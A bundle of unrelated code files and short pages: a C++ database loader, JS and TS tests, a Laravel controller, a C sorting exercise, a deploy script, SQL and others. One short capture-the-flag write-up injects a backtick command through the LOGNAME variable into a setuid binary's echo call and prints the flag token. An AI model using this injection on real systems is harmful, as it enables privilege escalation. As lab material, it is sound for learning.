case kDATE: if (sizeof(time_t) == 4) { hash = random_fill_int32(p.numbersPtr, num_elems); data_volumn += num_elems * sizeof(int32_t); } else { hash = random_fill_int64(p.numbersPtr, num_elems); data_volumn += num_elems * sizeof(int64_t); } break; default: assert(false); } return hash; } vector<size_t> populate_table_random(const string& table_name, const size_t num_rows, const Catalog& cat) { const TableDescriptor* td = cat.getMetadataForTable(table_name); list<const ColumnDescriptor*> cds = cat.getAllColumnMetadataForTable(td->tableId, false, false, false); InsertData insert_data; insert_data.databaseId = cat.get_currentDB().dbId; insert_data.tableId = td->tableId; for (auto cd : cds) { insert_data.columnIds.push_back(cd->columnId); } insert_data.numRows = num_rows; vector<unique_ptr<int8_t>> gc_numbers; // making sure input buffers get freed vector<unique_ptr<vector<string>>> gc_strings; // making sure input vectors get freed vector<unique_ptr<vector<vector<int8_t>>>> gc_int8arrays; vector<unique_ptr<vector<vector<int16_t>>>> gc_int16arrays; vector<unique_ptr<vector<vector<int32_t>>>> gc_int32arrays; DataBlockPtr p{0}; // now allocate space for insert data for (auto cd : cds) { if (cd->columnType.is_varlen()) { if (cd->columnType.get_compression() == kENCODING_NONE) { vector<string>* col_vec = new vector<string>(num_rows); gc_strings.push_back(unique_ptr<vector<string>>(col_vec)); // add to gc list p.stringsPtr = col_vec; } } else { int8_t* col_buf = static_cast<int8_t*>(malloc(num_rows * cd->columnType.get_size())); gc_numbers.push_back(unique_ptr<int8_t>(col_buf)); // add to gc list p.numbersPtr = col_buf; } insert_data.data.push_back(p); } // fill InsertData with random data vector<size_t> col_hashs(cds.size()); // compute one hash per column for the generated data int i = 0; size_t data_volumn = 0; for (auto cd : cds) { col_hashs[i] = random_fill(cd, insert_data.data[i], num_rows, data_volumn); i++; } // now load the data into table auto ms = measure<>::execution([&]() { td->fragmenter->insertData(insert_data); }); cout << "Loaded " << num_rows << " rows " << data_volumn << " bytes in " << ms << " ms. at " << (double)data_volumn / (ms / 1000.0) / 1e6 << " MB/sec." << std::endl; return col_hashs; }
#include "raylib_pb_helper.h" void pbhelper_DrawCubeV(Vector3* position, Vector3* size, Color color) { if( position && size ) DrawCubeV(*position, *size, color); }
--- layout: page title: ECS Slack --- Join the Slack page! [Email us](mailto:OceanObsECS@gmail.com) so we can add you!
--- title: Compilerfehler C2542 ms.date: 11/04/2016 f1_keywords: - C2542 helpviewer_keywords: - C2542 ms.assetid: a984520d-f835-4cac-ac0e-7f1d5f5c6278 ms.openlocfilehash: dc0f5abaed303ee5ccebb997cd706b411ebc4235 ms.sourcegitcommit: 0ab61bc3d2b6cfbd52a16c6ab2b97a8ea1864f12 ms.translationtype: MT ms.contentlocale: de-DE ms.lasthandoff: 04/23/2019 ms.locfileid: "62364102" --- # <a name="compiler-error-c2542"></a>Compilerfehler C2542 'Bezeichner': Objekt einer Klasse besitzt keinen Konstruktor zur Initialisierung Es ist kein Konstruktor mit einer Parameterliste, die die Initialisierung entspricht. Dieser Fehler kann durch falsche Parameter in der Initialisierung verursacht werden.
import { JSDOM } from "jsdom"; import * as mock from "mock-require"; const dom = new JSDOM("<html><body></body></html>"); global["window"] = dom.window; global["navigator"] = dom.window.navigator; global["document"] = dom.window.document; global["asyncSuccess"] = true; mock("esri-loader", "./doubles/esriLoader"); import SampleTests from "./ts/test"; SampleTests(); import ArcBaseTests from "./ts/components/ArcBase.spec"; ArcBaseTests(); import { MapBaseTests, WebBaseTests } from "./ts/components/ArcComposites.spec"; MapBaseTests(); WebBaseTests(); import { MapTests, SceneTests } from "./ts/components/MapComposites.spec"; MapTests(); SceneTests(); import { WebMapTests, WebSceneTests } from "./ts/components/WebComposites.spec"; WebMapTests(); WebSceneTests();
# arch-sim-template Base template for designing processor simulator Functional Simulator for subset of ARM Processr =============================================== README Table of contents 1. Directory Structure 2. How to build 3. How to execute Directory Structure: -------------------- CS112-Project | |- bin | |- myARMSim |- doc | |- design-doc.docx |- include | |- myARMSim.h |- src |- main.c |- Makefile |- myARMSim.h |- test |- simple_add.mem |- fib.mem |- array_add.mem How to build ------------ For building: $cd src $make For cleaning the project: $cd src $make clean How to execute -------------- ./myARMSim test/simple_add.mem
# chroma > Chroma este o bibliotecă de evidențiere a sintaxei de uz general și o comandă corespunzătoare, pentru Go. > Mai multe informaţii: <https://github.com/alecthomas/chroma> - Evidenţiaţi un fişier sursă cu Python Lexer şi ieşire la terminal: `chroma --lexer="{{python}}" {{source_file}}` - Evidențiați un fișier sursă cu Go lexer și ieșiți într-un fișier HTML: `chroma --lexer="{{go}}" --formatter="{{html}}" {{source_file}} > {{html_file}}` - Evidențiați un fișier sursă cu C++ lexer și ieșiți într-o imagine SVG, folosind stilul Monokai: `chroma --lexer="{{c++}}" --formatter="{{svg}}" --syle="{{monokai}}" {{source_file}} > {{svg_file}}`
using System; using System.Collections; using System.Collections.Generic; using System.Windows; using System.Windows.Controls; using System.Windows.Input; using System.Windows.Media; using Ccr.Core.Extensions; using Ccr.PresentationCore.Helpers; using Ccr.PresentationCore.Helpers.DependencyHelpers; using Ccr.PresentationCore.Helpers.EventHelpers; using UST.Spatial.GeoJSON; using Xceed.Wpf.AvalonDock.Controls; namespace UST.Spatial.Controls { public class MapViewer : Control { private Canvas PART_Canvas; public static readonly DependencyProperty StateProperty = DP.Register( new Meta<MapViewer, State>(null, onStatePropertyChanged)); private static readonly DependencyPropertyKey StateDeclarationPropertyKey = DP.RegisterReadOnly( new Meta<MapViewer, StateDeclaration>()); public static readonly DependencyProperty StateDeclarationProperty = StateDeclarationPropertyKey.DependencyProperty; public static readonly DependencyProperty ZoomCenterPointProperty = DP.Register( new Meta<MapViewer, Point>()); public static readonly DependencyProperty ZoomPercentageProperty = DP.Register( new Meta<MapViewer, double>(1)); public static readonly DependencyProperty ZipCodeBoundaryStrokeProperty = DP.Register( new Meta<MapViewer, SolidColorBrush>(Brushes.Chartreuse)); public static readonly DependencyProperty ZipCodeBoundaryStrokeThicknessProperty = DP.Register( new Meta<MapViewer, double>(0.25d)); public static readonly DependencyProperty CurrentSelectionProfileIdProperty = DP.Register( new Meta<MapViewer, sbyte>()); public sbyte CurrentSelectionProfileId { get => (sbyte) GetValue(CurrentSelectionProfileIdProperty); set => SetValue(CurrentSelectionProfileIdProperty, value); } public State State { get => (State)GetValue(StateProperty); set => SetValue(StateProperty, value); } public StateDeclaration StateDeclaration { get => (StateDeclaration)GetValue(StateDeclarationProperty); protected set => SetValue(StateDeclarationPropertyKey, value); } public Point ZoomCenterPoint { get => (Point)GetValue(ZoomCenterPointProperty); set => SetValue(ZoomCenterPointProperty, value); } public double ZoomPercentage { get => (double)GetValue(ZoomPercentageProperty); set => SetValue(ZoomPercentageProperty, value); } public SolidColorBrush ZipCodeBoundaryStroke { get => (SolidColorBrush)GetValue(ZipCodeBoundaryStrokeProperty); set => SetValue(ZipCodeBoundaryStrokeProperty, value); } public double ZipCodeBoundaryStrokeThickness { get => (double)GetValue(ZipCodeBoundaryStrokeThicknessProperty); set => SetValue(ZipCodeBoundaryStrokeThicknessProperty, value); } static MapViewer() { ControlExtensions.OverrideStyleKey<MapViewer>(); EM.RegisterClassHandler<MapViewer, MouseEventHandler>( ZipCodeGeometryPresenter.ZipCodeMouseEnterEvent, onZipCodeMouseEnter); EM.RegisterClassHandler<MapViewer, MouseEventHandler>( ZipCodeGeometryPresenter.ZipCodeMouseLeaveEvent, onZipCodeMouseLeave); EM.RegisterClassHandler<MapViewer, MouseButtonEventHandler>( ZipCodeGeometryPresenter.ZipCodeMouseUpEvent, onZipCodeMouseUp); EM.RegisterClassHandler<MapViewer, MouseButtonEventHandler>( ZipCodeGeometryPresenter.ZipCodeMouseDownEvent, onZipCodeMouseDown); EM.RegisterClassHandler<MapViewer, MouseButtonEventHandler>( ZipCodeGeometryPresenter.ZipCodeClickEvent, onZipCodeClick); } private static void onZipCodeMouseEnter(object sender, MouseEventArgs args) { if (args.OriginalSource is ZipCodeGeometryPresenter presenter) { var contentPresenter = presenter.FindVisualAncestor<ContentPresenter>(); Panel.SetZIndex(contentPresenter, 200); args.Handled = true; } } private static void onZipCodeMouseLeave(object sender, MouseEventArgs args) { if (args.OriginalSource is ZipCodeGeometryPresenter presenter) { var contentPresenter = presenter.FindVisualAncestor<ContentPresenter>(); Panel.SetZIndex(contentPresenter, 100); args.Handled = true; } } private static void onZipCodeMouseDown(object sender, MouseButtonEventArgs args) { if (args.OriginalSource is ZipCodeGeometryPresenter presenter) { var contentPresenter = presenter.FindVisualAncestor<ContentPresenter>(); args.Handled = true; } } private static void onZipCodeMouseUp(object sender, MouseButtonEventArgs args) { if (args.OriginalSource is ZipCodeGeometryPresenter presenter) { var contentPresenter = presenter.FindVisualAncestor<ContentPresenter>(); args.Handled = true; } } private static void onZipCodeClick(object sender, MouseButtonEventArgs args) { if (args.OriginalSource is ZipCodeGeometryPresenter presenter) { var dayConfig = dayConfigs[index]; presenter.DeliverySchedule.SetShouldDeliverOnDays(true, dayConfig); index++; if (index >= dayConfigs.Count) index = 0; } } private static int index = 0; private static List<Day[]> dayConfigs = new List<Day[]> { new []{Day.Monday, Day.Wednesday, Day.Friday}, new []{Day.Tuesday, Day.Thursday}, new []{Day.Saturday, Day.Sunday}, new []{Day.Monday, Day.Tuesday, Day.Wednesday}, new []{Day.Wednesday, Day.Thursday, Day.Friday}, new []{Day.Friday, Day.Wednesday, Day.Monday}, new []{Day.Monday} }; public override void OnApplyTemplate() { base.OnApplyTemplate(); PART_Canvas = (Canvas)GetTemplateChild(nameof(PART_Canvas)); } private static void onStatePropertyChanged( MapViewer @this, DPChangedEventArgs<State> args) { var stateDeclaration = GeoSVGReader.ReadStateDeclaration(args.NewValue); @this.StateDeclaration = stateDeclaration; } //protected override void OnMouseDown(MouseButtonEventArgs e) //{ // base.OnMouseDown(e); // var mousePositionPx = e.GetPosition(this); // var mousePositionPercentage = new Point( // mousePositionPx.X / ActualWidth, // mousePositionPx.Y / ActualHeight); // var actualMapRenderSize = new Size( // ActualWidth, // ActualHeight); // var theoreticalMapRenderSize = new Size( // ActualWidth * ZoomPercentage, // ActualHeight * ZoomPercentage); // var lastZoomCenterPoint = ZoomCenterPoint; // var leftClipping = lastZoomCenterPoint.X // var clippedXSizePx = theoreticalMapRenderSize.Width - actualMapRenderSize.Width; // var clippedYSizePx = theoreticalMapRenderSize.Height - actualMapRenderSize.Height; // var clippedXLeftSizePx = clippedXSizePx * (1 - xProgression); // var clippedYTopSizePx = clippedYSizePx * (1 - yProgression); // var xTransformationOffsetProgression = clippedXLeftSizePx / ActualWidth; // var yTransformationOffsetProgression = clippedYTopSizePx / ActualHeight; // ZoomCenterPoint = new Point( // xProgression, // yProgression) // .Push( // xTransformationOffsetProgression, // yTransformationOffsetProgression); // ZoomStage nextZoomStage; // if (ZoomStage.Equals(ZoomStage.Stage1)) // { // nextZoomStage = ZoomStage.Stage2; // } // else if (ZoomStage.Equals(ZoomStage.Stage2)) // { // nextZoomStage = ZoomStage.Stage3; // } // else if (ZoomStage.Equals(ZoomStage.Stage3)) // { // nextZoomStage = ZoomStage.Stage1; // } // else // { // throw new Exception(); // } // ZoomStage = nextZoomStage; // BeginAnimation( // ZoomPercentageProperty, // new DoubleAnimation( // nextZoomStage.Value, // new Duration(TimeSpan.FromMilliseconds(600))) // { // EasingFunction = new CubicEase // { // EasingMode = EasingMode.EaseInOut // } // }); //} //protected override void OnMouseDown(MouseButtonEventArgs e) //{ // base.OnMouseDown(e); // var position = e.GetPosition(this); // var xProgression = position.X / ActualWidth; // var yProgression = position.Y / ActualHeight; // ZoomCenterPoint = new Point(xProgression, yProgression); // ZoomStage nextZoomStage; // if (ZoomStage.Equals(ZoomStage.Stage1)) // { // nextZoomStage = ZoomStage.Stage2; // } // else if (ZoomStage.Equals(ZoomStage.Stage2)) // { // nextZoomStage = ZoomStage.Stage3; // } // else if (ZoomStage.Equals(ZoomStage.Stage3)) // { // nextZoomStage = ZoomStage.Stage1; // } // else // { // throw new Exception(); // } // ZoomStage = nextZoomStage; // BeginAnimation( // ZoomPercentageProperty, // new DoubleAnimation( // nextZoomStage.Value, // new Duration(TimeSpan.FromMilliseconds(600))) // { // EasingFunction = new CubicEase // { // EasingMode = EasingMode.EaseInOut // } // }); //} } } //private void onVisualDescendentMouseEnter(object sender, MouseEventArgs args) //{ //if (args.OriginalSource is ZipCodeGeometryPresenter presenter) //{ //var itemsContentPresenter = presenter.FindVisualAncestor<ContentPresenter>(); //Panel.SetZIndex(itemsContentPresenter, 200); //args.Handled = true; //} //} //private void onVisualDescendentMouseLeave(object sender, MouseEventArgs args) //{ //if (args.OriginalSource is ZipCodeGeometryPresenter presenter) //{ //var itemsContentPresenter = presenter.FindVisualAncestor<ContentPresenter>(); //Panel.SetZIndex(itemsContentPresenter, 100); //args.Handled = true; //} //} #region old //private static readonly DependencyPropertyKey GeometryPropertyKey = DP.RegisterReadOnly( // new Meta<MapViewer, PathGeometry>()); //public static readonly DependencyProperty GeometryProperty // = GeometryPropertyKey.DependencyProperty; //private static readonly DependencyPropertyKey ZoomCenterPointPropertyKey = DP.RegisterReadOnly( // new Meta<MapViewer, Point>()); //public static readonly DependencyProperty ZoomCenterPointProperty // = ZoomCenterPointPropertyKey.DependencyProperty; //private static readonly DependencyPropertyKey ZoomPercentagePropertyKey = DP.RegisterReadOnly( // new Meta<MapViewer, double>()); //public static readonly DependencyProperty ZoomPercentageProperty // = ZoomPercentagePropertyKey.DependencyProperty; //public PathGeometry Geometry //{ // get => (PathGeometry) GetValue(GeometryProperty); // set => SetValue(GeometryPropertyKey, value); //} //public Point ZoomCenterPoint //{ // get => (Point)GetValue(ZoomCenterPointProperty); // set => SetValue(ZoomCenterPointPropertyKey, value); //} //public double ZoomPercentage //{ // get => (double)GetValue(ZoomPercentageProperty); // set => SetValue(ZoomPercentagePropertyKey, value); //} #endregion
/*Seja um arquivo de texto 2.txt com o seguinte formato: onde cada linha possui três dados separados por ponto e vírgula ‘;’: ● Nome de um objeto (string podendo conter espaços com tamanho máximo 30); ● Quantidade desse objeto em estoque; ● Preço do objeto. respectivamente. Note que o arquivo 2.txt tem 10 objetos registrados e tem uma linha em branco em sua última linha. Crie um programa em C que leia o arquivo 2.txt e salve em um arquivo chamado 2_ordenado.txt no mesmo formato de 2.txt, contudo com os objetos em ordenados em ordem decrescente de preço total (preço vezes a quantidade de um objeto em estoque). */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { int r=0; int aux; int qtd[10]; int pos[10]; double preco[10]; double preco_total[10]; double aux_preco[10]; char nome_objeto[10][30]; char aux_objeto[10][30]; //CRIA VARIAVEL PONTEIRO PARA O ARQUIVO 2.TXT FILE *pont_arq; //ABRINDO O ARQUIVO 2.TXT COM TIPO DE ABERTURA R pont_arq = fopen("2.txt","r"); //ARMAZENA OS DEZ OBJETOS for(int i=0; i<10 && !feof(pont_arq); i++) { fscanf(pont_arq,"%[^;];%d;%lf[^\n]", nome_objeto[i],&qtd[i],&preco[i]); preco_total[i]= (double)(qtd[i]*preco[i]); aux_preco[i]=preco_total[i]; if(i == 0) { strcpy(aux_objeto[i],nome_objeto[i]); } } //COLOCA O PRE�O TOTAL EM ORDEM DECRESCENTE for(int i=0; i<10; i++) { for(int k=i; k<10; k++) { if(preco_total[i]<preco_total[k]) { aux = preco_total[i]; preco_total[i]=preco_total[k]; preco_total[k]=aux; } } } //ARMAZENA A POSICAO EM ORDEM DECRESCENTE for(int i=0; i<10; i++) { for(int j=0; j<10; j++) { if(preco_total[i]==aux_preco[j]) { pos[r]=j; r++; } } } //CRIA VARIAVEL PONTEIRO PARA O ARQUIVO 2_ORDENADO.TXT FILE *pont_arq2; //ABRINDO O ARQUIVO 2_ORDENADO.TXT COM TIPO DE ABERTURA W pont_arq2 = fopen("2_ordenado.txt","w"); for(r=0; r<10; r++) { for(int i=0; i<10; i++) { if(pos[r] == i) { if(strcmp(aux_objeto[0],nome_objeto[i])== 0) { fprintf(pont_arq2, "\n%s;%d;%.2lf", nome_objeto[i],qtd[i],preco[i]); } else { fprintf(pont_arq2, "%s;%d;%.2lf", nome_objeto[i],qtd[i],preco[i]); } } } } printf("Arquivo Criado!\n"); //USANDO FCLOSE PARA FECHAR O ARQUIVO 2_ORDENADO.TXT fclose(pont_arq2); //USANDO FCLOSE PARA FECHAR O ARQUIVO 2.TXT fclose(pont_arq); return 0; }
import { alert, confirm, information, warning, iframeDialog } from "@Q/Dialogs"; test('Q.alert uses window.alert when no BS/jQuery UI loaded', function() { var alertCount = 0; var alertMessage = null; (global as any).window = global; global.alert = function(message) { alertCount++; alertMessage = message; } try { alert('test message'); expect(alertCount).toBe(1); expect(alertMessage).toBe('test message'); } finally { delete global.alert; delete global.window; } }); test('Q.information uses window.alert when no BS/jQuery UI loaded', function() { var alertCount = 0; var alertMessage = null; try { (global as any).window = global; global.alert = function(message) { alertCount++; alertMessage = message; } information('test message', () => { }); expect(alertCount).toBe(1); expect(alertMessage).toBe('test message'); } finally { delete global.alert; delete global.window; } }); test('Q.warning uses window.alert when no BS/jQuery UI loaded', function() { var alertCount = 0; var alertMessage = null; (global as any).window = global; global.alert = function(message) { alertCount++; alertMessage = message; } try { warning('test message'); expect(alertCount).toBe(1); expect(alertMessage).toBe('test message'); } finally { delete global.alert; delete global.window; } }); test('Q.confirm uses window.confirm when no BS/jQuery UI loaded', function() { var confirmCount = 0; var confirmMessage: string = null; (global as any).window = global; global.confirm = function(message) { confirmCount++; confirmMessage = message; return true; } try { var onYesCalled; confirm('test message', function() { onYesCalled = true; }); expect(confirmCount).toBe(1); expect(confirmMessage).toBe('test message'); expect(onYesCalled).toBe(true); } finally { delete global.confirm; delete global.window; } }); test('Q.iframeDialog uses window.alert when no BS/jQuery UI loaded', function() { var alertCount = 0; var alertMessage = null; (global as any).window = global; global.alert = function(message) { alertCount++; alertMessage = message; } try { var testHtml = '<html><body>test message<body></html>'; iframeDialog({ html: testHtml }); expect(alertCount).toBe(1); expect(alertMessage).toBe(testHtml); } finally { delete global.alert; delete global.window; } });
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Formateur; use App\Formation; use Auth; use Illuminate\Support\Facades\Hash; use Illuminate\Foundation\Auth\RegistersUsers; use Illuminate\Support\Facades\Validator; use Session; class FormateurController extends Controller { /** * Create a new controller instance. * * @return void */ public function __construct() { $this->middleware('auth'); } /** * Show the application dashboard. * * @return \Illuminate\Http\Response */ public function index() { return view('formateur.indexFormateur'); } public function profile(Request $request, $id) { $formateur = Formateur::find($id); return view('formateur.profile' , compact('formateur')); } public function edit(Request $request, $id) { $this->validate($request,[ 'name' => 'required|max:255', 'prenom' => 'max:255', 'skills' => 'max:255', 'telephone' => 'max:255', 'adresse' => 'max:255', ]); $formateur = Formateur::find($id); $formateur['name'] = $request['name']; $formateur['prenom'] = $request['prenom']; $formateur['skills'] = $request['skills']; $formateur['telephone'] = $request['telephone']; $formateur['adresse'] = $request['adresse']; $formateur->save(); return redirect()->back()->with('success','votre profile a été modifier avec succès!'); } public function infoedit(Request $request, $id) { $this->validate($request,[ 'presentation' => 'required', 'experience' => 'required', 'competence' => 'required', ]); $formateur = Formateur::find($id); $formateur['presentation'] = $request['presentation']; $formateur['experience'] = $request['experience']; $formateur['competence'] = $request['competence']; $formateur->save(); return redirect()->back()->with('success','votre profile a été modifier avec succès!'); } public function emailedit(Request $request, $id) { $this->validate($request,[ 'oldemail' => 'required|same:hiddenmail', 'email' => 'required|unique:formateurs|min:5', 'confirmemail'=> 'required|same:email' ]); $formateur = Formateur::find($id); $formateur['email'] = $request['email']; $formateur->save(); return redirect()->back()->with('success','votre email a été modifier avec succès!'); } public function pwdedit(Request $request, $id) { $formateur = Formateur::find($id); if (Hash::check($request['oldpwd'], $formateur['password'])){ $this->validate($request,[ 'pwd' => 'required|min:6', 'confirmpwd'=> 'required|same:pwd' ]); $formateur['password'] = Hash::make($request['pwd']); $formateur->save(); return redirect()->back()->with('success','votre mot de passe a été modifier avec succès!'); } else { return redirect('/formateur')->with('oups','mot de passe incorrect!'); } } public function imgedit(Request $request, $id) { $this->validate($request,[ 'image' => 'required|mimes:jpeg,png|max:10240', ]); $formateur = Formateur::find($id); //update image $image = $request->file('image'); $imageName = time().'.'.$image->getClientOriginalExtension(); //save image $request->file('image')->move("adm/assets/images/formateur/",$imageName); $formateur->image = $imageName; $formateur->save(); return redirect()->back()->with('success','votre image a été modifier avec succès!'); } public function reseaux(Request $request, $id) { $formateur = Formateur::find($id); $formateur['facebook'] = $request['facebook']; $formateur['twitter'] = $request['twitter']; $formateur['linkedin'] = $request['linkedin']; $formateur['googleplus'] = $request['googleplus']; $formateur->save(); return redirect()->back()->with('success','votre profile a été modifier avec succès!'); } public function calendrierformateur(){ $id = Auth::user()->id; $data = Formation::where('id_formateur', '=' , $id)->get(['title', 'start','url', 'color']); return Response()->json($data); } }
import { red, green, bold, options, Style } from "colorette" options.enabled = true console.log(` Beets are ${red("red")}, Cucumbers are ${green("green")}, ${bold("Colorette!")}. `)
# auto-reject Clang Plugin that rejects any instance of auto for C++11, for example in the case of an Academic setting, where the use of auto might hinder learning. # Installation and Usage Requires clang-3.9 and python-clang bindings. Note that when using a version other than clang 3.9 the global variable `GLOBAL_INCLUDE_DIRECTORY` must be changed appropriately. It is likely also that a version earler than clang 3.9 might fail to run. `$ ./auto.py --auto --rfor test/main.cpp`
import React, { Component } from 'react'; import TextField from 'material-ui/TextField'; import AppBar from 'material-ui/AppBar'; import IconButton from 'material-ui/IconButton'; import NavigationClose from 'material-ui/svg-icons/navigation/close'; import FlatButton from 'material-ui/FlatButton'; import Chip from 'material-ui/Chip'; class FormCreator extends Component { constructor(props) { super(props); this.handleChangeName = this.handleChangeName.bind(this); this.state = { formName: '' }; } handleChangeName(e) { this.setState({ formName: e.target.value }); } render() { return ( <div className="wrapper"> <div className="row"> <div className="col-xs-12"> <Chip style={styles.chip}>Question with one answer</Chip> <Chip style={styles.chip}>Question with multiple answers</Chip> </div> </div> <div className="row"> <div className="creator-form col-xs-5"> <TextField hintText="Name" floatingLabelText="Enter Form Title" onChange={this.handleChangeName} /> </div> <div className="form-preview col-xs-7"> <AppBar title={<span>{this.state.formName}</span>} iconElementLeft={<IconButton><NavigationClose /></IconButton>} iconElementRight={<FlatButton label="Save" />} /> </div> </div> </div> ); } } export default FormCreator; const styles = { chip: { margin: 4 } };
package ar.com.play2play.presentation.tuttifrutti.create.categories import android.view.LayoutInflater import android.view.ViewGroup import androidx.recyclerview.widget.RecyclerView import ar.com.play2play.databinding.ViewSelectedCategoryItemBinding /** The adapter used to show the list of selected categories. */ class TuttiFruttiSelectedCategoriesAdapter(private val onDeleteCategory: (Category) -> Unit) : RecyclerView.Adapter<TuttiFruttiSelectedCategoriesAdapter.ViewHolder>() { /** The list of the selected categories */ var selectedCategories = listOf<Category>() set(value) { field = value notifyDataSetChanged() } override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ViewHolder { return ViewHolder( ViewSelectedCategoryItemBinding.inflate( LayoutInflater.from(parent.context), parent, false ) ) } override fun onBindViewHolder(holder: ViewHolder, position: Int) { return holder.bind(selectedCategories[position]) } override fun getItemCount() = selectedCategories.size inner class ViewHolder(private val binding: ViewSelectedCategoryItemBinding) : RecyclerView.ViewHolder(binding.root) { /** Show the given [category] into the view. */ fun bind(category: Category) = with(binding) { categoryToMaybeDelete.text = category categoryToMaybeDelete.setOnClickListener { onDeleteCategory.invoke(category) } } } }
/* * Copyright (c) 2005-2022 Xceptance Software Technologies GmbH * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.xceptance.common.collection; import java.util.Arrays; import java.util.Iterator; import org.junit.Assert; import org.junit.Before; import org.junit.Test; import com.xceptance.xlt.api.util.XltRandom; /** * Tests the implementation of {@link LRUList}. * * @author Hartmut Arlt (Xceptance Software Technologies GmbH) */ public class LRUListTest { protected LRUList<Integer> instance; protected final int LIST_SIZE = 5; @Before public void intro() { instance = new LRUList<Integer>(LIST_SIZE); } /** * Tests the implementation of {@link LRUList#add(Object)} where the capacity of the list is reached by not * exceeded. */ @Test public void testAdd_NoOverflow() { final Integer[] ints = new Integer[LIST_SIZE]; for (int i = 0; i < ints.length; i++) { ints[i] = XltRandom.nextInt(); } instance.addAll(Arrays.asList(ints)); for (final Integer i : ints) { Assert.assertTrue(instance.contains(i)); } } /** * Tests the implementation of {@link LRUList#add(Object)} where the capacity of the list is exceeded and the most * rarely used elements of the list should be dropped. */ @Test public void testAdd_Overflow() { final Integer[] ints = new Integer[LIST_SIZE + 2]; for (int i = 0; i < ints.length; i++) { ints[i] = XltRandom.nextInt(); instance.add(ints[i]); } Assert.assertFalse(instance.contains(ints[0])); Assert.assertFalse(instance.contains(ints[1])); for (int i = 2; i < ints.length; i++) { Assert.assertTrue(instance.contains(ints[i])); } } /** * Tests the implementation of {@link LRUList#get(int)} which should reflect LRU behavior: Whenever the given index * denotes a valid element index, the appropriate list element becomes the new least recently used element and will * be moved to the end of the list. */ @Test public void testGet() { instance.add(0); instance.add(1); instance.add(2); Assert.assertEquals(0, instance.get(0).intValue()); Assert.assertEquals(1, instance.get(0).intValue()); Assert.assertEquals(2, instance.get(0).intValue()); final Iterator<Integer> it = instance.iterator(); int i = 0; while (it.hasNext()) { Assert.assertEquals(i++, it.next().intValue()); } } }
#include "thread.h" #include <system_error> #ifdef _WIN32 #include <windows.h> #define HAVE_STRUCT_TIMESPEC 1 #else #include <unistd.h> #endif #include <pthread.h> using namespace std; namespace wav2mp3 { class thread::impl { public: impl(function<void()> const& f) : f_{ f } { if (auto const error_code = pthread_create(&thread_, nullptr, &start, this)) throw new system_error(error_code, system_category()); } ~impl() { pthread_join(thread_, nullptr); } private: function<void()> f_; pthread_t thread_; static void* start(void* arg) { auto const thread = reinterpret_cast<impl*>(arg); thread->f_(); return nullptr; } }; thread::thread(function<void()> const& f) : impl_{ make_unique<impl>(f) } { } thread::thread(thread&&) = default; thread& thread::operator=(thread&&) = default; thread::~thread() = default; unsigned thread::hardware_concurrency() { #ifdef _WIN32 SYSTEM_INFO system_info; GetSystemInfo(&system_info); return system_info.dwNumberOfProcessors; #else return sysconf(_SC_NPROCESSORS_ONLN); #endif } }
Find me on [GitHub](https://github.com/jenniechow) and [Twitter](https://twitter.com/jennie_saisquoi)!
Once again let's start by listing the files in the folder: ``` ls -l -rwsr-sr-x 1 flag07 level07 8805 Mar 5 2016 level07 ``` As previously we find an executable, let's try to run it. ``` ./level07 level07 ``` As we did before, let's try to hexdump the file ``` hexdump -C level07 00000660 e8 00 00 00 00 5b 81 c3 8f 19 00 00 e8 1f fe ff |.....[..........| 00000670 ff 83 c4 08 5b c3 00 00 03 00 00 00 01 00 02 00 |....[...........| 00000680 4c 4f 47 4e 41 4d 45 00 2f 62 69 6e 2f 65 63 68 |LOGNAME./bin/ech| 00000690 6f 20 25 73 20 00 00 00 01 1b 03 3b 30 00 00 00 |o %s ......;0...| 000006a0 05 00 00 00 28 fd ff ff 4c 00 00 00 7c fe ff ff |....(...L...|...| 000006b0 70 00 00 00 18 ff ff ff 90 00 00 00 88 ff ff ff |p...............| 000006c0 cc 00 00 00 8a ff ff ff e0 00 00 00 14 00 00 00 |................| ``` It would look like they are using echo on an environmental variable. Let's try to modify it. ``` export LOGNAME='`/bin/getflag`' # we are adding the `` so echo knows he has to launch the command Check flag.Here is your token : fiumuikeil55xe9cu4dood66h ``` Here we go :)
#!/usr/bin/env bash set +x # shellcheck disable=SC1091 . venv/bin/activate echo "${quay_password:?}" | docker login "-u=${quay_user_name:?}" quay.io --password-stdin # shellcheck disable=SC2154 python3 pipeline.py --image-name "${image_name}" --release "${release:-false}"
-- SLOW QUERY! -- compute and resets all the basic counters for a queue metrics DROP FUNCTION IF EXISTS fetchq.metric_reset(CHARACTER VARYING); CREATE OR REPLACE FUNCTION fetchq.metric_reset( PAR_queue VARCHAR, OUT cnt INTEGER, OUT pln INTEGER, OUT pnd INTEGER, OUT act INTEGER, OUT cpl INTEGER, OUT kll INTEGER ) AS $BODY$ DECLARE VAR_res RECORD; BEGIN -- remove all existing metrics DELETE FROM "fetchq"."metrics" WHERE "queue" = PAR_queue; DELETE FROM "fetchq"."metrics_writes" WHERE "queue" = PAR_queue; -- reset all known metrics SELECT * INTO VAR_res FROM fetchq.metric_compute(PAR_queue); PERFORM fetchq.metric_set(PAR_queue, 'cnt', VAR_res.cnt); PERFORM fetchq.metric_set(PAR_queue, 'pln', VAR_res.pln); PERFORM fetchq.metric_set(PAR_queue, 'pnd', VAR_res.pnd); PERFORM fetchq.metric_set(PAR_queue, 'act', VAR_res.act); PERFORM fetchq.metric_set(PAR_queue, 'cpl', VAR_res.cpl); PERFORM fetchq.metric_set(PAR_queue, 'kll', VAR_res.kll); -- forward data out cnt = VAR_res.cnt; pln = VAR_res.pln; pnd = VAR_res.pnd; act = VAR_res.act; cpl = VAR_res.cpl; kll = VAR_res.kll; END; $BODY$ LANGUAGE plpgsql;
using DamageBot.EventSystem; namespace DamageBot.Events.Stream { public class OnStreamStartEvent : Event<OnStreamStartEvent> { } }
